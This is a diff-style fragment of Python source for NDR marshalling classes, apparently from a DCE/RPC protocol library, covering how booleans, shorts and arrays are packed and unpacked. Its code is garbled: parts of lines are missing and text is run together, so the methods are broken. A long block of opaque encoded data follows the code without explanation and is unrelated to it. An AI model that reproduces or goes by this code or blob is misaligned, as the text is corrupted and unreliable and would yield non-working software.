) + +class NDRBOOLEAN(NDRSMALL): + def dump(self, msg = None, indent = 0): + if msg is None: + msg = self.__class__.__name__ + if msg != '': + print(msg, end=' ') + + if self['Data'] > 0: + print(" TRUE") + else: + print(" FALSE") + +class NDRCHAR(NDR): + align = 1 + structure = ( + ('Data', 'c'), + ) + +class NDRSHORT(NDR): + align = 2 + structure = ( + ('Data', ' 0: + soFar += pad0 + arrayPadding = b'\xef'*pad0 + else: + arrayPadding = b'' + # And now, let's pretend we put the item in + soFar += arrayItemSize + data = self.fields[fieldName].getData(soFar) + data = arrayPadding + pack(arrayPackStr, self.getArrayMaximumSize(fieldName)) + data + else: + pad = self.calculatePad(fieldTypeOrClass, soFar) + if pad > 0: + soFar += pad + data += b'\xcc'*pad + + data += self.pack(fieldName, fieldTypeOrClass, soFar) + + # Any referent information to pack? + if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE): + data += self.fields[fieldName].getDataReferents(soFar0 + len(data)) + data += self.fields[fieldName].getDataReferent(soFar0 + len(data)) + soFar = soFar0 + len(data) + + except Exception as e: + LOG.error(str(e)) + LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) + raise + + return data + + def calcPackSize(self, fieldTypeOrClass, data): + if isinstance(fieldTypeOrClass, str) is False: + return len(data) + + # array specifier + two = fieldTypeOrClass.split('*') + if len(two) == 2: + answer = 0 + for each in data: + if self.isNDR(self.item): + item = ':' + else: + item = self.item + answer += self.calcPackSize(item, each) + return answer + else: + return NDR.calcPackSize(self, fieldTypeOrClass, data) + + def getArrayMaximumSize(self, fieldName): + if self.fields[fieldName].fields['MaximumCount'] is not None and self.fields[fieldName].fields['MaximumCount'] > 0: + return self.fields[fieldName].fields['MaximumCount'] + else: + return self.fields[fieldName].getArraySize() + + def getArraySize(self, fieldName, data, offset=0): + if self._isNDR64: + arrayItemSize = 8 + arrayUnPackStr = ' align: + align = tmpAlign + return align + + def getData(self, soFar = 0): + data = b'' + soFar0 = soFar + for fieldName, fieldTypeOrClass in self.structure: + try: + if self.isNDR(fieldTypeOrClass) is False: + # If the item is not NDR (e.g. ('MaximumCount', ' 0: + soFar += pad + data += b'\xca'*pad + + res = self.pack(fieldName, fieldTypeOrClass, soFar) + data += res + soFar = soFar0 + len(data) + except Exception as e: + LOG.error(str(e)) + LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) + raise + + return data + + def pack(self, fieldName, fieldTypeOrClass, soFar = 0): + # array specifier + two = fieldTypeOrClass.split('*') + if len(two) == 2: + answer = b'' + if self.isNDR(self.item): + item = ':' + dataClass = self.item + self.fields['_tmpItem'] = dataClass(isNDR64=self._isNDR64) + else: + item = self.item + dataClass = None + self.fields['_tmpItem'] = item + + for each in (self.fields[fieldName]): + pad = self.calculatePad(self.item, len(answer)+soFar) + if pad > 0: + answer += b'\xdd' * pad + if dataClass is None: + if item == 'c' and PY3 and isinstance(each, int): + # Special case when dealing with PY3, here we have an integer we need to convert + each = bytes([each]) + answer += pack(item, each) + else: + answer += each.getData(len(answer)+soFar) + + if dataClass is not None: + for each in self.fields[fieldName]: + if isinstance(each, NDRCONSTRUCTEDTYPE): + answer += each.getDataReferents(len(answer)+soFar) + answer += each.getDataReferent(len(answer)+soFar) + + del(self.fields['_tmpItem']) + if isinstance(self, NDRUniConformantArray) or isinstance(self, NDRUniConformantVaryingArray): + # First field points to a field with the amount of items + self.setArraySize(len(self.fields[fieldName])) + else: + self.fields[two[1]] = len(self.fields[fieldName]) + + return answer + else: + return NDRCONSTRUCTEDTYPE.pack(self, fieldName, fieldTypeOrClass, soFar) + + def fromString(self, data, offset=0): + offset0 = offset + for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: + try: + if self.isNDR(fieldTypeOrClass) is False: + # If the item is not NDR (e.g. ('MaximumCount', ' 0: + soFarItems +=pad + if dataClassOrCode is None: + nsofar = soFarItems + calcsize(item) + answer.append(unpack_from(item, data, offset+soFarItems)[0]) + else: + itemn = dataClassOrCode(isNDR64=self._isNDR64) + size = itemn.fromString(data, offset+soFarItems) + answer.append(itemn) + nsofar += size + pad + numItems -= 1 + soFarItems = nsofar + + if dataClassOrCode is not None and isinstance(dataClassOrCode(), NDRCONSTRUCTEDTYPE): + # We gotta go over again, asking for the referents + answer2 = [] + for itemn in answer: + size = itemn.fromStringReferents(data, soFarItems+offset) + soFarItems += size + size = itemn.fromStringReferent(data, soFarItems+offset) + soFarItems += size + answer2.append(itemn) + answer = answer2 + del answer2 + + del(self.fields['_tmpItem']) + + self.fields[fieldName] = answer + return soFarItems + offset - offset0 + else: + return NDRCONSTRUCTEDTYPE.unpack(self, fieldName, fieldTypeOrClass, data, offset) + +class NDRUniFixedArray(NDRArray): + structure = ( + ('Data',':'), + ) + +# Uni-dimensional Conformant Arrays +class NDRUniConformantArray(NDRArray): + item = 'c' + structure = ( + #('MaximumCount', '-0v;^hAc1AumXE@_ib6|(2hCH|X!W!j{;lnO-Z1;9GpOw7Oti-{pd4$)|G~VyI zTFr6%2P)|LB9 z-gKnACmK(9S39*?tDU&xgiaWBFImsQgNVrrjGj>@5eg8B-QtU_o}*Gk$TqF6i3hM? zt@cF^_cV7cF{$PdP6Z>lzTm!&L;`s17wgzCiIjiVHDuxXi79CYBw6m2R5lJ6QFu2q$s z(FYj#`sc9g>3VIS8g;lPscN=C$F`t@%pg6@Wi}MH1KvyuOat;H(B3NJgRDPLi*LWR zlgDNs=cN^+Ja~0BpB60pf}En1=I@hZ@v*kFvixJM85M}9vNSSuM!*dTe~xT}*C2NAm>@$qw@{JG)|J*6b$FOe zca@Px=_4by&KCYbg#aRyy^Eg2H3z26v0ZF6Z1+4=N7PSTr#^y`YPQYdf$=2m6fzdg zO0Dm+Zh~)aVM%b^;a-CguY%;3XGPAJg!`hBER}e(*e8Mz7S~d6Rco6pG)CH)%s{q2 z1`wK6wfqI6N+;P>wbnUD?9RmuWSHqei*UKU#_$T9q$i@S(;0?2A+^h>>u1pGJLQFV z{%214%PN$bLu}lAuyMGVEU_F%Nck;J!P5%N$$e%%wb!@PtRWP4wopzvDBi>I(Jdhd z3xf1$IBqBmMjHyV!c|7}p2Dn%)7+DsYF0qZZg2%mV|2CYD<&LDq>e0>fL+8i8@IE3 zL#37VOHW-d*=QP={!Hwz(+X0%V)>iY@))Uo2BCjyq+m#GL$yF7lxvyThHV=1a8V1L z3tC)=HaCqI?fo63gaWO?IlWSC9yfPYn@6qAqhg|v)(r$q1Y<)<2w&ZH1jr^ObK9Y& zyULD$k?&BlK+s$Or$#xn*ASrr(H_wYt|qisPDtbmk<6B{s+=1UJpYi8Ar1$LsBt=a z408U{m&m8q*OT%VH4$9F)Hd0!5Yf*KjXyx;ui`w`Fsz_do(8Eb3C6Cp!FGW8P1jmJ zoz*-|1`z>-fdsG!BJNj<=IBEe%Vm8Bg5v$y>}$%8-;nBh+i67K&5j&XS*X3AHmzWF z+a6#csfhW|vHpjmZ)uJ#sH00r(TP8HQ7qW?cW1TZHnto7H!D&s$Z$2mDuQ@(;|)WT zCDq8LtPW=3z1A2$rdDT+c(@r=%h`qV;W!7`-Ji*sW#%`oNN<`9C+ueGoWM5J050 z4^@G_Z`UGqOuK~&pIThGE7}`ccSAX4vvh>XB+T7mr;hmI-O~7p>~{l|(hHg=h=j9D zq}>L=JuQj{fSoZ9CImaEZd7VV>pJpr;U28SHwuer{)6T;dOyoGqjBgnnk``Xc zf=$p%wtGo~yiVOvook`}(!X2uXw)Z(d`0}@T4*iu{W3xzu*1?oohIvbTBW#c$|v;b z_5zd`jX&liaEYHKUGO~C*^EXP`0HLGnCv73nUzIC-)H>`%u>cLyo%y8YnAN!lC=YB z5R5eu5FwuzpNoCgb2LQ1iO+x>?$dZTfzng_NoL(`?&RB?q;D2Wag?UgYV%Dc7=46* z8o5wOi+oVj3wx~5IO_=^CIcEWED%;XG`XTawxpo^Ru$E7L*bW3HPnE4d@8D8TDb|2 z=Yz@;oxaDKM}OXA)7jusR79Pw-mL7%loa~e&T{W-jVRxx$m>kWr-zclnsP4-6mu5Y zc9(fV-D`z@P(WMA*sWXjXns*Dc{r^v8>G`81Y>RrurS3C1xL(8!2C4i36@5NSHs^7 zp)^Ig2%g_Ax3Ca^Dv$kY{tVPbW!C~?^> z`DN-bm(M9hY~N}V~%UHg8Fv5VV@2mf(yS#||RqOg6@K z8k30H50uIb=P?$U<3NEb*+bVLgCa_oo#6uPVb(9^$gxwJucJzhCtpDSrONDlUPo*5 zJ!{`nY9{lz{O)+v6hhZ+CW>$Bg&+1KHrL2);nM1SCG(-?X$?IYRjn8G7_KLrSxeqDXeiNi} zCma;!%cGph$TnedO06LrpClAoO5UoXZ%U~MN(RBRPWxoY#f&l(e^|LEBL2YYKwnOk zSKvq(Oj7nt1@(*K) z)|JaYrQ}`^fRdV9)P=F6xSP6D%pU46SvgdY|Kjcb<3W~8>ETF9)eIB*-W+iOH|6wiG> z$s)v77_65)U7rFznJ#jLvd!B2eyZ-~hbX2}H@Fl*tkpKxIY%zP3BIvFl$fvudo6tM zNqZ~>lfpx7t;RJxS4vLx{C5M-BZuXELeXctS6n>szQhCA??*bL|CId6OcY=Zb28MS zl$M9(OTzdi4-TwbW{f7P?R$Wr50j`r&mQRaic{Ym4-XmLQH(MDb$i-_ySK-jNZStv z>sl1nkFH{e1r5F&8A<&&_{5GkTTI3W^vn*rU0sJ12N1RX#eCu zXOTI*L!9BUJmrP-IHsL?dSz-4^m|#`k>;maJU~U!Wqa`qv)K@KxlP=dK&GXs8Sdzt zIe5jmxKf)X0HUy_PoP98G^vobdw0u}2O>i{^x~|FEA8`jIC<{{hJtUgH(D2DW2&OL6;9? zw|tC3+q~F0Y&qwHq!G*w{&SBt3hXH_0_lQx(QxmvCd@<;f#_QcH7I}@6e9RS6;>kz zzpdO7K2H}1*3ymgu_KQ<#>xo*deFL4G$lJ)j$cZ}+f-+2Ylo|KXXL1`4ilkaL3E{X zVBfw?WmG0Rz}A+jrCDJoMfScCugqqp>+pX$-Z8YbQxZ<^o2t6$qMPj2&d7&S*bd8( zjq~1dzzSCsQm+DFokcmI<<95r|-Mr9o_FN$3e zZ|~WIS?{&)DRvQm4mig?)>u+J9px`MtyMsLUp2IWU91V3@5g3L4#j5s0#Gq?iyzZY zsr-Xq)4P(&r91>MG|1Jwp!Yy{q24>KbVzuFn7VPiJxHI)*?vzABF2fPDIv3#&G^JH zM_NY!6Um^B_wZ`rG9XuWb1_eJyS)v?jR!-F&XQ4?Fi&>qN(ebyI<5A8q_sAKM+4}f z+Ro;JJQ0w2#Fn6Ui`FU$9Q+=*$!9p+E(CFzrMA9-+cH<_0!aXgrj9U@!@1MVIc}DU zNhCWmUquKm4w?0=;v#$;rPH5FADe6QhilOvav3t+0rOoZ7VwNNYC=l2GbxCyMM?P` z)#l!iNa^Nw>b6feL(di{*(5z_ioxsWC>dD=5EMjq^yjvha`>*64qFwwaw=VO(Y6gilaUg zA^ad8Y49cMo0tXc;b?7_(Mkjv9QHf)RHt7Mzoh&Iqr9)iCsuY&8FC~u)}9VhFA({r zy6&GksmRyAq1NNEbT$>(C zGvJTfri)otfd$!k8K|`tvsZf2DzFF#quUUs5Cs}h*dgn(jto(I+Ba1V)7!TRY?Z1< zhafAOUbqbSB(Im$V$wAOm)DnxppHpQdwTjch#_w8aWyS%-BolVZoK8mC)0mE-&KD4 zhFUdI`*bh!R!dPW1#0X58=50~hi1b*Th-oo!=zaW_+yoX@(0`~lYDw_V5%#eD>x8? zj;}^OJ`a$N_;6%HHj;O~CP&I0xzyl$GIFcpB6U#Z=!}()dVSM;5sjJ+f%rYy-Idw? zdYrm~=G_HBKw&yt9|=g83;Z7HU7TpTI%M7@@QDVhrP^Gy$5ripODex*mVCE$UG2b% zSK?l9P2;m_38WLW@OQfrY<-f%MleQZWz~TcZ|)5Is%1$mfJn&rv#Ilr3$D^A%y}WJ zx5AkdE|nSWmp7^0eze=MNbsaW&xxx6A31avW%@({9_S@L zrb@c!jvDYe(j#)H{SE0kJ%~%}R@U(aCsW;3=Vqq@lQ{@@`phnEbPH&V)1IDDx{2&I zS<&M@t-8l14bL48<^^E5VQsNhaK;Wu$@YELE9WY>5uTQT0v+l5TkQMXE9`dsP%T&+ z4&EuTN#E&C1&V{-_amPqCNZTnZwaE!@T^2;AVI-b+T6xwL5x-b2`+4NK)4#eEebU) zBVf3k#jNq^W(b;LOy zWI!2?nhGXqrW!c-a_Y7U@c78Qo|i7e7rA$fGd#@RoQ;qRZR5!3GtRO@(Zsp28%X_i z5%;2rv$R%+x~S4xe}niDO;Bg6PA-m*)Y`tuBd``H7vv~L{an9Up2YK^UpzNM@s*`S zHXLRF^xh#k{*Kz~L-9-QPv#Oc{3}Iq!o@sr1AMjItj0?#p8FJ6fZM(DhZ~x|#~QAz zA2)z&(ab_yG>Q){}rbFZal($Z~^;w2V7)VtxJ& z8|2m7@L`{Um*st{j2AQQ!yd^IoCdk~?U4y96}<&l+w8@YB{NWInznh9VSSTWTuH<< zBzdJwyZpgl^Zm$#L7jZ>R43PbNhcvZAplML>=V9deM+7YZ<30SjJtct1MRn7X)~cU ziV3YMMbs1in+f=2&<&zKf-SwKl4-(@&f|a4l7!@;&yZXU-=!xbj^~8+5Pjq6VQ3qc zbC0W#*1Ci%e^x!iZ^qxNpQ@bPNSb(zxXrDEjIzA4i<`38@A@`9M{E5PKi6V3FK}jY zK62EOXlsb0G*cOf0E-1?DrQ*Jd^A8C_2y<20`Ca=M6H0GBH1uNFuWVV<6 z5n)j;Mj&d*dV+t3wvoXUc+DXZ9?ix8W;oRn#D*}o$b1t!B|fyMuj zj^ktcEd`tc0xf(3*f`8^fveW3Aca8dSG2bGp=}|-#)CFJoE}yvJuEYsIFt6`_Ja5X zXg(ocQrcg9IrUUai}sMBq^h(&koOf-HwlT@?5!%Lj#93D#ctBKmHXVvYe266?;}#F&qlL|B1yaqw;{EG{V_x1_nEP!)*9v&w%3n% zPao&hmZMpG)QV4*lZ(@u1n?W?wYJMFk`d>W^~4XHxKB*Ba(4Y4i*NF`FTF|pmz*S1 zBROnHUV6cLI*-HBzW62-&?TM;O&8+V#Adp52nUZ1GhegjO$9^u`pu8E_5X(kQM;lKWkSYh zYi$bOK_aYg5!xOy`;bzc!&c-2)L^0qc@Iekydzgo3hO>7KICf(peVPzTbuH9Z??An zH~i4e>_B`Po*iSZct?Trz5HQ%?3vqII+qhy2qRD}rsZd4)?#l-e}od1@{h=nEwiK`>=O(08h zEaAd*9b_q|rTp^nhoRU_s1GDU*ZL*#|F|+gtX_;(kIxpQ_cJ;Hco(>-gQbAP&l<>0 zL5rn&svEOnvEO^8wr;i{L9-c?aKF|zo*%$41`veRXyyHEh0LAo z>Q{AyulUVue<^SkGOxwPVV%#R(_5~oqJCt!#4tx;BA2!JK5jF%EXIqaO?mZ%3njLz zX|Gdycx`h%fS1Sl6u2d`qOGsrYn>}u9+6na$@<{-aqtGxjQm6?ktn>O14GE$KER%_sP3IrD3~s010RdES||hUy&l+!BY`Jt)~% z{qX>LncayEyeqCt{_>i+ktI3+xA&^^`ZOxCd5c5mXU0MEL`F}8_A2`o~@TJfIg{&ndbJyrw&{- zK=3Gr4A0H@YJCji>fu|Y;^?Mzd_|6g`XA&@bXLC8=JR|)F|37OLD`6|#i#VTP)4#| z!(v!Z)1`2=5Av5swL&!0kA9VYw1&TE2=fb8K+vn)!~vA@7iN(dGO~QhJ>#(CT&wnW=y2|a?Lw3()UQupIBW>L!N@c-@)w5yCq={@_ ztxN;zGEu@D&$gGemh~d-&Q@7gopFTB=2E!w$eF!pL<%DLn-q(G9zT+rC`m35)-BrO z$|L8HXJI*EjKVcbT0Bf*(tiybgX}S|F$A)!J^QRa-on*SfZz{wm>Kbg%$tr+Wd;1+(#CD|c`{}2e(e|FKwv;% z;U>6M8}j_#KP#AQz90mYgxJUNux*dLkqgtv$3!*upBUR^l#}?Dh*HG@=43aOpK!DW z?S~#tx94EUD=X5k9Az`?*6+xbXCg^AT<`*bX11?&nKN>|;|1Xcbnn@X?=fd6!&YI& zSWC^!@?=N6VmZiuObt1^(g>ZGsNY-v^;m;u4bjm)M))@dS$H{aG z$H<)N)V4LD&K6yQtSpQIlrII+v?C(htk}cl(PF^Qfz*pcIc80aantd&F^tYrLRx53_A@U1~i; zUf7U1kqR;TMN#=uw0Uw?GpZ9_iZ;|_H91j1xZw2*!g7^UpSQBqtaNr+j_6@D>A;@w z%S(iGW5rQ+`$2YR;mL)sgmNW3=QLd)kv%X0=4edZ2W0>ESmfpq4S$9ipV0W)zhTC0 zOW)r!-#E3dABo>apBQ#!{z`myou_O#FNp6;Joh792SsLv{TAfLm0P%T3{|}ng0EQa z7p*5*iO)~y3-ej~-eLAc@%>a+7~uQq0(-jkJ-3q>6-I!=9co=`Ex!%Z0o(c*Z>bgM z3C_+a!E0ITEXkSIuKp?vCU#u4L)b|&1AD>xlL(%1Tgh^|h39QCoUz8m$+NVLuITZ* zBj~$v12kD;ygEp%JB!YRFV0)>`W0f-F5bHKxNr{Pg0;s*YZZ2_J^o|$s&)oL2~>M^Q^zIl-$5Mf_rjr8r(q9Q6QhaDt7 zO_stX;Wzse4G<3QyF=#n%7i&p+7Dm;HNWX9JAe_fZD-R(Aq3@Wv3jXBbS*DHq)BxJ zqn+TfXB#bCn#gNfZH}hJfy9NX!|MwY6NDsbPgj)UBhfIAZ}>WHxE}vSyr6uD*SLG` zooV{B3aqml!S8UH(_J)BR?B_X$a`eC2gPQ1E+?2EWPAiVYOWVu=0~e|Mz*bSJB>-$ z0kEIo-ezkDqiO#aV1WwnmIcUQf;&4P|4glfPlZ_Lw>^ zR*H;%`V$~wkQZo}Fle*SIx8SD8t(_q;VrA?W<|~j*3FoT{yiAPbI;#?$Fq>zFM8~y zBRoYta4Eas_hdJHMQxML=8w*nFcb>aR1|x2nsQ<}*olG=GQT&w@wJaxHg*0&D1GEfVukOBWtW@7J^H}Cv?s?5_lh&*(R3xTSjy*Oirhdr z$K+`x*j>M8tcY&cxrBJ-5JXz+A3hHk&O~RuE8if%EiipxdKCFjMiRw=rx9x$+BImbC+-%`Hz5==u^ z;FJ(vfN$GK2I&*i(=dE$k~2tq0)d?2isFpJvWbhHdA7Cn972VNBqH-xw=)}moWF}9 zaR$eI%*9)<%Wur?br!UQM@&6GB1F+=Jr+2b+EH1oP&$kg#9p0CLl#1L?b&crPOOoH zTe@Y^BSi=H*Gk)QAejqYFIIxR_zg%HQKuZOs0t&pX`VWpLD_85LmY@qlul5j?YDa2 zz2%tVxr0BzKI%Y`N6g$J0 zo@1fowvPZi7CliI85>eq1e7WEQT%Y4r6dxhXiY#z0 z6{VA_STFHk-I81?>qO=u;a0AcWtR8^t}l+)6f%~y*U2y@i`h$IrTwBtr5f}#3Q2BF zUZMhg_E^)DP^bJpyj;S4KHup?n78#g!W3;&Jf|}I49q?~^$h=Wn%)za80F>k;pY3< z2YcP6pGMV>oQ}w7S#Hp_`s`#h9r$cqE{-74CUz3?-(&p_MMub-5HKs*k4k$#zVW>5 z$6o7O6|x^`YIAB!GW)?=a>~Cf&J6;4k@z~xVLu-9KCiW2sD!WOu0VNxc4WMc!ZN!) z`yr8XS#Tso-{ zaLwHc8xcwB-si&w^^RS%_uebrtQnQu!tZ+X!+KIt5$ypq)@MIrFQb|Q#kWf9&7%nk z!~ji*_Hp!N#2RqM9_vc3g5GUf>q9b!x(B37P-^U6nM}zup*p0A{QYp&%*lFUj58~y z<}5oA8D*HN8H3*&@+|7e2PmRiuug@AEBL-#@ceu zlESt>Py3UaPl;K|CjmN8C)8D5%b`R*QMAle@)W_{m8p zUx78-6()MEQ(@bER_`e4!rX-QYUGNcDhYG4VC`F3^nC0UN$~Y|vUEy%Fp0gCoGXZi zDA%n{-cmd0f&E;;7ehjYM0_lHmVA`tjU%l7=QLWo*qNFL1duxaiIeuGF)3s>Jy+yk_ek9i5OJ;#_9Gp+gC9Y&K?kB8w6UMxWl(8CV$~(6d_rb z=R!G#eZovvneiQMdq1^O_zG5YUl03lslK6`Ftjan=jL7tkiTCXKh zcUF33I+G(d7Yne_;-43=CgNqvk_M8uo5QeRv~@+kAtr~o6X#E&vz$a{9VQ9Nfyh~O zuh=k{`2F(wqr8rU%+)i}5k!oY=@k}4n0HGT71RJrvda=W1WPhmeX$OSgAd2^|HFun z?}=ArE3HZ~@5P2%B^p{4Ng<{Hr_>gNZAL_v{`xdymstda7V~Dt0jIh@fCQfE37VAN zChwIIpW0$wE$a~T_q!Myt$M7(9svc#dx?atI{q?V(J+_0%8o#CJQqWBnjnE^$>-@~ zpS4JZw2C{+KC9(?>5n7Ab(m|(@6uiDEop=uwh7R!s)Z1f&!K1a@x-+}h6eaM^dem) zYz$24iVVSCOVsdy43~#qy zl(m(+&J{yNxIc465*KTJ=SFh7bCx7Ol1Jf}lJ818rDq$g52%sc7EDnzYf4*Y{dNSR z)gprNP_Er3m|qYu*MH->eSVQ&p&;4ZGt%0%m#lB>qu?How2g{~tYvB_3}szawih=K z#C@1dFKZPjgwIpXfYU^>RYY>dQ26>-PVzEq2VWr%R>`SHisi>VA~Nf5c`8&&Fz>O0 zv7w4@v>Dg*X0n#`_qBL_6wYn&JcPE0FC>q4WKaEZ#L=N&IdxGuFg1F&cj|ZVzIy5p zBW3dO(aX<=y~lo~mo`p->$wh~L&GjgFOq%x%l*R&BSUQLiYMt-WgFcpPVDGnus61x z&?7_ao4R~=2>_g8m}c z)a#63O+LHjM<;_yC!AyUplIVV5I&}EU`~~v{_qC%GnV|Itdpw>?FR!fD|TE}e9YN9 zh0!{0-FOv9jx-aIp=ykzIVPW`dWId5XRPKs-0JJG`Lbeli+lkZ-LxpICDjGATLB4gx{2MAH?v*=t>L86J!q)sJs+@?q^ofT`p#f_^T? z(IMhQ_c0kLTiTVI)ka3c+@hx#QGCo|1{M;gb6-dcbXuKX1Me*38{_0O)fi9Er~KDq z96LlehUR}c35%liKqG~MfVHS;zu83_>tnYZR)rNEMyyZ`k*yCPS;T8*2(@jyR5VY- zdLt_Bu$iBqqBxNb=h>WUbX)0w%ny9KU`pfPQ-X*2Y`{Dy>g{JF2rGO~3YBcv=xE=t z#t-m7XQRZ8w;8=gf!~v}21h%#SK4e*ZIW#}8}1Ogg`F3DR0H`)J46RcYT*v)zCOUk z54Z@#)^&)QMDK3x5bY?YP(0>`gAdsg3Q+sTPhje0RJA>a!ZK^VqPMIXk`+F? zWz|I2ihOOOJ`tblwZ$j(iMo73kA6Kr>tyf(aXcLoj3!1W|F(5^Du_<}duqI!$nTG^ zb--^93((|ZQ*ZE8{Hy7FfBE$%!e*QqJmA|I2 zoP{cP2j0betM281Y}yGpXH>imi_z0g^&Si_?5!ZLjkznVOA3qR2vc8FzH_N(qGP;994IIU0Vv>m7T0}GwAp&wyoCT`CUhD**8H!E5MSz?izSMD} z%il45tdL*JfwoyREv2H)IYWN}_g}={=LJ9uN^NN5{76y=OlX2^eRh7zFXOF5K}#k` z+`--~+X-2O8TZF;8de>*OAqVOd-AiIw18(=WSGu!QB1WnTqSDoEu(esuEsZjl3K(A z&L8#ASa`QZqK}jxY`-MXdMG^8Fo(7@ppBhNh90!B`5;cRytdEpNhT|VjR7>#M&V!G zsGHMCMA2F#K%34BGFEEHkloHALz_ak_B`ZNh9n8$v=U$vat|-ex5z!5N`c9 zfc5_cpmqyDoz7CQTE~TIuvVgdA|Rs2e8ta}Ung6;=wc>sb}QjfP7p)0!<lxO7U;$+DpLkcwl= zL%kIg*Uw!X9Btzj(UVKG4L74w!i>V5=*bJT4RevSq9@&2{8PG#o-EK>x2Zd4Y3pAk zTSfFFt^uk7#L2N*>z*NUXS}Tyh@L!`YCWpWL~X-wxkw}HT{03ewEe|ed657cH8|O| zd1@Z}tpA6wbAfNVyc&Pnv{0b>s|s2LA!5}!P^)#?64azk+5}RlfLbSFXR)$@ijrv2 zwuGgfO@9R4>wUU+?&3S&>ATI#5Sfz}q!emfE-D~X!A*T)L~%?mD&+q?&o3#L;r{y! z`^)e0T+VZzbIxNs98r%c2` zSd?66ZjSoq2|B-kg+Bm*D<-<3Q1P$OT#4BRneK>A#gB2b0Ib$WvITZajcopE^&n6X zXDQ#n@y??fxz|3GXr`@1HsvHMYs{%NiQGf$jAfl|m1E4n{e|t7V^~%f5li~<9r75h z3RK@s2S4rob=jHO%p4K1YrCnzOYCr8pbv1|8}`4U$-wF`=%dsa`< zf%&$2m_P9@xSD7~((9v|b%)nbAxA@{AGpuu762LTratPDhH5y?q3H~s0s3z!KF`N5@Ew%ob7iA;N zAv2=*n6k7Qi`4fSHwQ!JYBAHRQ4PlpJ?t_UrpPPBl9uc={y1s;ikOTr=E=y2@1&Qb z=Jh{(aU^D$agVtU#N)_dzN0prOQW5~esh=ZbBbh|(588dxrwDxABG z2gEPlXt|XCnthAoE!;I)PUTl5ZZ}%ium>aYVMa@%zMzg}xD@Kjb~Y$a+k$uUU z=g=(6jkg&MdDLWqiKoC7*`Lw;qnI!016isI<#XUuBTUVsH#1+Y7?W!CrgPv&TAb8+ z74^zK7*u70G%lKiYTd)|O!b9clYX_2=e~%v>x+;NAS3iFTgD^fdq$Qnsj-J$&wy(E z_^7n}6Bc6@v1?rMFSxYa)@5d5sX<>T{)*Ogn1^(FvWjrxjQ@a^C~L=bTK5`D!+N;9 zPE5ppN7JRa9$UznYlkRhsQoz7>zw0o*;AOP73i{g#}ME`OsiPD2xltGbOg`!k)5Q5 zkN~SUIvsw7I=CbCxh6^SvPg5Q3!PmufW{?48`uzRe>pk+h!#8)1u!dXVskR=UD3*# z#7P$TY{Zu6_e>?-Y1{B5+(I*Ocz#sQ6D5zsoZHJX3p(6wuFHTlTM9PGD&h~~u&e7* zaDD*)6_gPiTY>dn7XvR#4IJgERya|FmciAe2{>ET9lQEkSqYP17@>PLmf=;lYmfT1 zkR6Mni^j?WHL`Y1&x-2+uDUk$QMLQkZ$JU-quaFfGSV$d2Wn2$m8Zmla>}^{yA!NT z3nxsQhKJFb$tCzA2H<{m`&S(A?(rE*KVxS_??GV`i0|Z5>`Ji_55LBVfVW;l@fcsv z?IUS~Jdo%~R_I9bH&1%{{B)s!Pc!0u?|VnCb4NPQithnm5a@I^#}(B)vIthoSOLS0 zoWJhNV9(E%UW}Dq9O1N5-2E!(h~C@Nv7a=kW^M=db;!C&$4G1e=dT)(GuZ0@_B~QvR^o;Tzs6qcv~(G zv9aIMo7n51YfV0I>_8Ou6f~G3j&e5VXr(@35G;bFbshY^}39$*wfL6R*(8Awba>xkxw;`>Fr;Cp-!t$5jJLE6FH}JP@Nr9a3 zx~!*9@>lMjmEIj5TvKJwLStIj8A~PpMB{04-NrbvhTv7LrXg50_maJU#ucw{m=lB* zWIRdFihx$P&V8fFzi_xAuzcA*kR7(fv_hFih-nDza%n!AmPXk1C#YXL1UUWbW=?s+ zQuQY7Q6qKh>>J@@^N~vt+aVqJvvbdA{h^>Y0Dd+jI9?Bv5;MNX=}z=mVcqkL^;@Og zuUSR;n@RhL)6!kDbLhQF=5ZDSV7RXMH=v+dHeOeI7F3R34lc<>ctQ)MS~P)G5#lHk zbpxvuvl5r2fZVdys^CKG5BO_&8>xjFMMP>F5CZDCmDHVhH)#_XXVe{buIrAmr>4B0@{a!9u*r%-0 zkBi?BiQ3X7!z@AmV{E0b3a+}_<)D+&Bjspy=v4qk)0W3(Rr&JojWtjh6Gk&ff=ycMkCUh;84o6{-*Cc z&R`B1i;4HPQct`~Ufui7hN$fb-We`=GB{7uk8bcIQ_aRZn$cYEGj-FETWFr&97-B; z%p!?-*;_d(OTzdKH~tTjJ>>%MpI36k!#mlR*pAO>;>Kiojk%!4{Q_RyoEur`F4YU^ zN|d#ikI|wp&+i)$eapv~jS;*SiGYx|)n&3bc2oW;JKAJRoTzhWsI&5*L5xSlhog0q- zVvH6EeYME*>SrnUK;S&ExDlP#Pp@ab2isXX@4%5>=VY>WwZB~OGy^87Eq1A~uJ%KE zFrBWwTXZ%74-Vi(uJ9)ru5kaf@WQi6X6Fijd@z85xyt+u?-OI`xge25fwa+#tG%lr zi~L}1R`7-29F02{ihe@Xu`LG%J8)eaS`qUMNyf!1!?m|7Q#&@XY+9%}8+-;EP>)$u zJS{40R=pfgt#tIMM;17gpNfy1mz-;YL6L?^T;b%j&@{I>ZKB^Cnq04yXySVNeMCia zT-T8uDi_Nku7k1R-Qfw-LWGQ!<&s0OEEce3Ao7Mr@KFD7_J)R#9VjEp*?yGQT&))s zQpn~a5M{kOb)+Rim9$&4mE)uELWzlATj-B;@oyKR^3O0v9ufHsqDFQ_q%I!Kl1bBp>Q`e1%%2?ZerrOG(DK=|EEHin85HCHt@{MZG{H$j5GM8AZjFIfn*vzqSLtWq<<&xIf1mnZ z{fI{6qF2?dFy%H?jg2%e87d;l(Z-TJd=N>FF_wzF6-l1ceAeQmFc`AQD^$b}{Rlm-9?zo2v+|Mk(o zk2P?p(bV1&N*jNIcVz6kbv2H5LOv)#l{`LYF1#6a3Y6?&}441d(slh&Ks~4Jfwjz1N^x%yk)$tck2~h`Cg- zV7?6IO^&SG&_^~>SiwbjU1RR-%_+<^8ATd%b?dj& zlt$jS6F2Uyu!v1)ycN-xjhhKo)-9BV79s(FyN00j04j$jrUt6dMvfx}Cg^%9-5rCj z8m=sZnmAnJsvdL;H96_4u+($=?J{hh>@J=|d2bv6g7;;&gF@ zM6;6pcC4JHB^pcLtwr~AT{j6dgg+keIs0%v5j=3dW3)7IVg5MF>>V~07nYqvfxK&h z<80Det@sE!Jysr<<&;+D7_G8R$h>wnf7%C6$PBtCUQ8-HuvI-M7_vXJDV3)pos*|J 